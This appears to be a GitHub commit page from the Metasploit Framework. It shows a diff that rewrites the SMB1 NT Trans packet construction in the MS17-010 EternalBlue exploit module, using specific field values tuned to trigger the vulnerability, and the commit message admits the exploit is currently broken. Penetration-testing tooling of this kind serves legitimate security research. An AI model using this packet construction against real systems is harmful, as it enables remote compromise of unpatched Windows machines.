Skip to content

Commit f0f99ad

Browse files
David MaloneyDavid Maloney
authored andcommitted
nttrans packet setup correctly,everything broken
got the nttrans packet setup correctly but somewhere along the line i broke the whole exploit wtf?
1 parent b3e99ee commit f0f99ad

File tree

2 files changed

+33
-40
lines changed

2 files changed

+33
-40
lines changed

Gemfile.lock

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -90,7 +90,7 @@ PATH
9090
PATH
9191
remote: /Users/dmaloney/rapid7/ruby_smb
9292
specs:
93-
ruby_smb (0.0.17)
93+
ruby_smb (0.0.18)
9494
bindata
9595
rubyntlm
9696
windows_error

modules/exploits/windows/smb/ms17_010_eternalblue.rb

Lines changed: 32 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -528,45 +528,38 @@ def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
528528
end
529529

530530
def make_smb1_nt_trans_packet(tree_id, user_id)
531-
pkt = ""
532-
pkt << "\x00" # Session message
533-
pkt << "\x00\x04\x38" # length
534-
pkt << "\xffSMB" # SMB1
535-
pkt << "\xa0" # NT Trans
536-
pkt << "\x00\x00\x00\x00" # NT SUCCESS
537-
pkt << "\x18" # Flags
538-
pkt << "\x07\xc0" # Flags2
539-
pkt << "\x00\x00" # PID High
540-
pkt << "\x00\x00\x00\x00" # Signature1
541-
pkt << "\x00\x00\x00\x00" # Signature2
542-
pkt << "\x00\x00" # Reserved
543-
pkt << [tree_id].pack("S>") # TreeID
544-
pkt << "\xff\xfe" # PID
545-
pkt << [user_id].pack("S>") # UserID
546-
pkt << "\x40\x00" # MultiplexID
547-
548-
pkt << "\x14" # Word Count
549-
pkt << "\x01" # Max Setup Count
550-
pkt << "\x00\x00" # Reserved
551-
pkt << "\x1e\x00\x00\x00" # Total Param Count
552-
pkt << "\xd0\x03\x01\x00" # Total Data Count
553-
pkt << "\x1e\x00\x00\x00" # Max Param Count
554-
pkt << "\x00\x00\x00\x00" # Max Data Count
555-
pkt << "\x1e\x00\x00\x00" # Param Count
556-
pkt << "\x4b\x00\x00\x00" # Param Offset
557-
pkt << "\xd0\x03\x00\x00" # Data Count
558-
pkt << "\x68\x00\x00\x00" # Data Offset
559-
pkt << "\x01" # Setup Count
560-
pkt << "\x00\x00" # Function <unknown>
561-
pkt << "\x00\x00" # Unknown NT transaction (0) setup
562-
pkt << "\xec\x03" # Byte Count
563-
pkt << "\x00" * 0x1f # NT Parameters
564-
565-
# undocumented
566-
pkt << "\x01"
567-
pkt << "\x00" * 0x3cd
568-
569-
pkt
531+
packet = RubySMB::SMB1::Packet::NtTrans::Request.new
532+
533+
# Disable the automatic padding because it will distort
534+
# our values here.
535+
packet.data_block.enable_padding = false
536+
537+
packet.smb_header.flags2.read("\x07\xc0")
538+
packet.smb_header.tid = tree_id
539+
packet.smb_header.uid = user_id
540+
packet.smb_header.pid_low = 65279
541+
packet.smb_header.mid = 64
542+
543+
packet.parameter_block.max_setup_count = 1
544+
packet.parameter_block.total_parameter_count = 30
545+
packet.parameter_block.total_data_count = 66512
546+
packet.parameter_block.max_parameter_count = 30
547+
packet.parameter_block.max_data_count = 0
548+
packet.parameter_block.parameter_count = 30
549+
packet.parameter_block.parameter_offset = 75
550+
packet.parameter_block.data_count = 976
551+
packet.parameter_block.data_offset = 104
552+
packet.parameter_block.function = 0
553+
554+
packet.parameter_block.setup << 0x0000
555+
556+
packet.data_block.byte_count = 1004
557+
packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ( "\x00" * 973 )
558+
559+
nbss = [packet.do_num_bytes].pack('N')
560+
raw_packet = packet.to_binary_s
561+
562+
nbss + raw_packet
570563
end
571564

572565
def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)

0 commit comments

Comments
 (0)